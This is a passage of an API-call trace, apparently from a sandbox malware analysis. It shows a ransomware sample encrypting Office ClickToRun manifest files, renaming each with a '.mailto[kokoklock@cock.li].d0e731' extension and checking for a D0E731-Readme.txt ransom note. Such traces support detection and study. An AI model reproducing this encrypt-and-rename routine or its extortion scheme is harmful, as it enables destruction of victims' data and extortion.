Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0074.264] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.264] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.264] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.264] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5cc8) returned 1 [0074.264] RtlExitUserThread (Status=0x1) Thread: id = 628 os_tid = 0x4b8 [0074.267] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml")) returned 0x20 [0074.267] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0074.268] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x944 [0074.268] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x187bfc70 | out: lpFileSize=0x187bfc70*=77386) returned 1 [0074.268] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x12e46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.268] ReadFile (in: hFile=0x944, lpBuffer=0x187bfc44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x187bfc40, lpOverlapped=0x0 | out: lpBuffer=0x187bfc44*, lpNumberOfBytesRead=0x187bfc40*=0x4, lpOverlapped=0x0) returned 1 [0074.270] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0074.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e438 [0074.270] NtQuerySystemTime (in: CurrentTime=0x187bfc1c | out: CurrentTime=0x187bfc1c*=132121176321596387) returned 0x0 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x82c0d005 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xc2fdccbd [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x1a914f98 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x4013a059 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x74e1dfff [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xb49241f4 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xffef60d0 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xaa732282 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x68407968 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xa83f2e3c [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xb584ca7 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x20caac8a [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xf120ba6d [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x4a40310c [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xbde069b [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x699ffcc7 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xf31671b1 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x7e9dc30e [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x4091140f [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x54d6f7b1 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x1c8711cf [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xa78e1786 [0074.270] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xa05b5c0f [0074.271] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x1e49ff8b [0074.271] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x91975a07 [0074.271] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xe926bdac [0074.271] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xa727a7da [0074.271] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x892ced06 [0074.271] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x6468a449 [0074.271] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x16e06777 [0074.271] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0xc3afbe2e [0074.271] RtlRandom (in: Seed=0x187bfc28 | out: Seed=0x187bfc28) returned 0x92252d81 [0074.282] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.282] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x187bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x187bfbf4*=0x4096, lpOverlapped=0x0) returned 1 [0074.283] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0074.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0074.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0074.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e460 [0074.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e460) returned 1 [0074.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.284] WriteFile (in: hFile=0x944, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x187bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x187bfbf4*=0x4096, lpOverlapped=0x0) returned 1 [0074.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.284] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x12e4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.284] WriteFile (in: hFile=0x944, lpBuffer=0x341e168*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x187bfc2c, lpOverlapped=0x0 | out: lpBuffer=0x341e168*, lpNumberOfBytesWritten=0x187bfc2c*=0x20, lpOverlapped=0x0) returned 1 [0074.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0074.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.284] WriteFile (in: hFile=0x944, lpBuffer=0x341e1e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x187bfc40, lpOverlapped=0x0 | out: lpBuffer=0x341e1e0*, lpNumberOfBytesWritten=0x187bfc40*=0x8, lpOverlapped=0x0) returned 1 [0074.284] WriteFile (in: hFile=0x944, lpBuffer=0x187bfc58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x187bfc40, lpOverlapped=0x0 | out: lpBuffer=0x187bfc58*, lpNumberOfBytesWritten=0x187bfc40*=0x4, lpOverlapped=0x0) returned 1 [0074.285] WriteFile (in: hFile=0x944, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x187bfc40, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x187bfc40*=0x4, lpOverlapped=0x0) returned 1 [0074.285] WriteFile (in: hFile=0x944, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x187bfc40, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x187bfc40*=0x6c, lpOverlapped=0x0) returned 1 [0074.285] WriteFile (in: hFile=0x944, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x187bfc40, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x187bfc40*=0x20, lpOverlapped=0x0) returned 1 [0074.285] WriteFile (in: hFile=0x944, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x187bfc40, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x187bfc40*=0x4, lpOverlapped=0x0) returned 1 [0074.285] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.285] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0074.285] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1e0) returned 1 [0074.285] CloseHandle (hObject=0x944) returned 1 [0074.285] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x152) returned 0x33e2008 [0074.285] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" [0074.285] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0074.285] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.286] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.286] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0074.286] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.286] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.286] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.286] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422290) returned 1 [0074.287] RtlExitUserThread (Status=0x1) Thread: id = 629 os_tid = 0x4c4 [0074.289] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml")) returned 0x20 [0074.289] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0074.290] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x944 [0074.290] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x1883f83c | out: lpFileSize=0x1883f83c*=14132) returned 1 [0074.297] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x3730, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.297] ReadFile (in: hFile=0x944, lpBuffer=0x1883f810, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1883f80c, lpOverlapped=0x0 | out: lpBuffer=0x1883f810*, lpNumberOfBytesRead=0x1883f80c*=0x4, lpOverlapped=0x0) returned 1 [0074.298] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0074.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1e0 [0074.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0074.298] NtQuerySystemTime (in: CurrentTime=0x1883f7e8 | out: CurrentTime=0x1883f7e8*=132121176321909052) returned 0x0 [0074.298] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xc58b8a64 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xa9fa99cf [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x7368fb13 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x22143114 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x229779f6 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x9c33b025 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x3525705b [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x5116b75 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x7f716b0a [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xaaef66ea [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x8f751b10 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xa6da8cf9 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xa7b6ede7 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x4f5877cd [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xf3f9e8f2 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x552f6290 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x52db98c7 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x5e6429ce [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x7d2620b0 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x3c4328d5 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x3a6acf32 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x7b459cec [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x984a6713 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x4947faf5 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x170def68 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xa161d154 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xdb09fdda [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xe81b1db7 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xfd2c4389 [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0xb10dd71c [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x98b243c [0074.299] RtlRandom (in: Seed=0x1883f7f4 | out: Seed=0x1883f7f4) returned 0x349d61b [0074.311] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x1883f7e8, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1883f7e8*=0x3734, lpOverlapped=0x0) returned 1 [0074.312] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1883f7b0 | out: lpNewFilePointer=0x0) returned 1 [0074.312] WriteFile (in: hFile=0x944, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x3734, lpNumberOfBytesWritten=0x1883f7e4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1883f7e4*=0x3734, lpOverlapped=0x0) returned 1 [0074.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e258 [0074.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0074.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0074.312] WriteFile (in: hFile=0x944, lpBuffer=0x341e258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1883f7e0, lpOverlapped=0x0 | out: lpBuffer=0x341e258*, lpNumberOfBytesWritten=0x1883f7e0*=0x20, lpOverlapped=0x0) returned 1 [0074.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e258) returned 1 [0074.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0074.312] WriteFile (in: hFile=0x944, lpBuffer=0x341e230*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1883f80c, lpOverlapped=0x0 | out: lpBuffer=0x341e230*, lpNumberOfBytesWritten=0x1883f80c*=0x8, lpOverlapped=0x0) returned 1 [0074.312] WriteFile (in: hFile=0x944, lpBuffer=0x1883f824*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1883f80c, lpOverlapped=0x0 | out: lpBuffer=0x1883f824*, lpNumberOfBytesWritten=0x1883f80c*=0x4, lpOverlapped=0x0) returned 1 [0074.313] WriteFile (in: hFile=0x944, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1883f80c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1883f80c*=0x4, lpOverlapped=0x0) returned 1 [0074.313] WriteFile (in: hFile=0x944, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1883f80c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1883f80c*=0x6c, lpOverlapped=0x0) returned 1 [0074.313] WriteFile (in: hFile=0x944, lpBuffer=0x341e1e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1883f80c, lpOverlapped=0x0 | out: lpBuffer=0x341e1e0*, lpNumberOfBytesWritten=0x1883f80c*=0x20, lpOverlapped=0x0) returned 1 [0074.313] WriteFile (in: hFile=0x944, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1883f80c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1883f80c*=0x4, lpOverlapped=0x0) returned 1 [0074.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1e0) returned 1 [0074.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4d8) returned 1 [0074.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0074.313] CloseHandle (hObject=0x944) returned 1 [0074.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x134) returned 0x341da40 [0074.313] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" [0074.313] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0074.313] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.314] SetFileAttributesW (lpFileName="C:\\Users\\All 